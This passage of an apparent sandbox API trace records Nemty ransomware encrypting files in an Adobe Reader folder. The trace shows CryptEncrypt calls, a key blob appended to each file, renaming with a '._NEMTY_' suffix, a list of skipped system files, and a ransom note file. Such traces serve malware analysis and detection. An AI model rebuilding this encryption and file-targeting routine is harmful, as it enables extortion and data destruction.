GetLastError () returned 0xb7 [0186.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.683] GetLastError () returned 0xb7 [0186.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.683] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.683] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.683] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.683] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="h0v9w22pneAye7F4XbPEWoNE7Ikt3mXgDTCNPBbNn7s2fifVGIDo+DcanwrkyyTu\r\nR+U1XyHyBTCnF7q9sfc2grDnE/Ss/osX7Iw/tl0xOKN1+jIIE8aajytMDt+hXh8a\r\njBvH07zhDnpRtTGjEctpkVllPNXcXRo3H2AXnl9RyRRLQB7Dh/GXW51h3pHzfq0V\r\nH7yxnkNDwG9WTI/wleq+/JKr4BK1o8AWEou0EKjqf3ixbCPPiDW8kNbEB21PJ7sg\r\np5Q7hHw87syZBybeqLtnPw7cPDq5KAyMEpBf0CznIrr/Implz7t1EeDVmavWayN1\r\nvHcSFXOsexzGE+Zse1lFrQ==\r\n", pcchString=0x653e29c) returned 1 [0186.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.684] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=35135) returned 1 [0186.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8930) returned 0x6352c48 [0186.684] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.684] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8930, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x8930, lpOverlapped=0x0) returned 1 [0186.688] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.688] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8930, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x8930, lpOverlapped=0x0) returned 1 [0186.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.688] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=35135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x893f [0186.688] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.688] CloseHandle (hObject=0x2f0) returned 1 [0186.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.689] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0186.689] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0186.689] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0186.689] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0186.689] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0186.689] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0186.690] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0186.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0186.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.691] Sleep (dwMilliseconds=0x5) [0186.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22ed8cb0, dwHighDateTime=0x1d561e8)) [0186.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x22ed8cb0, dwHighDateTime=0x1d561e8)) [0186.699] GetLastError () returned 0x0 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.699] GetLastError () returned 0x0 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.699] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.699] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="32L2v7XwIQmr/EeOG7XWij8D1LtMPavtgF/1PbIXrUnQiubDcKY3BnoOsG/p+SbS\r\nmqcEmJva6hHkk9RVu5r/YpUF3rGlfuSrGd6gqEbBcv81589n36U4ganS7o5BTyzS\r\nDti0XpZseDASSCwiC+UVnjsHs9xV3RZtZxzH8OgZRvIVlvLf39PHCPl2qFd/BPGG\r\nhxtEOMbEysvEN+I7XfwIJCnciEf+Ymu8Zkc3MlVPeX4fg5gEmMN/Ec3cM27VbtoW\r\nvoSRZ44yHc47J5ZzJOd7DLmBubIKnwHLaE4CUzBg65xCZWVfBHEmcHVdV9TUQXkr\r\n9HSbfe+/1DtCt4a8lA/sQQ==\r\n", pcchString=0x653e29c) returned 1 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.700] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=228) returned 1 [0186.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0186.700] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.700] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0186.701] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.701] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0186.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.701] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe4 [0186.701] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.701] CloseHandle (hObject=0x2f0) returned 1 [0186.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.702] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.703] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e8c9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22e8c9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22e8c9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.703] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.703] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.703] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.703] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.703] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.704] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 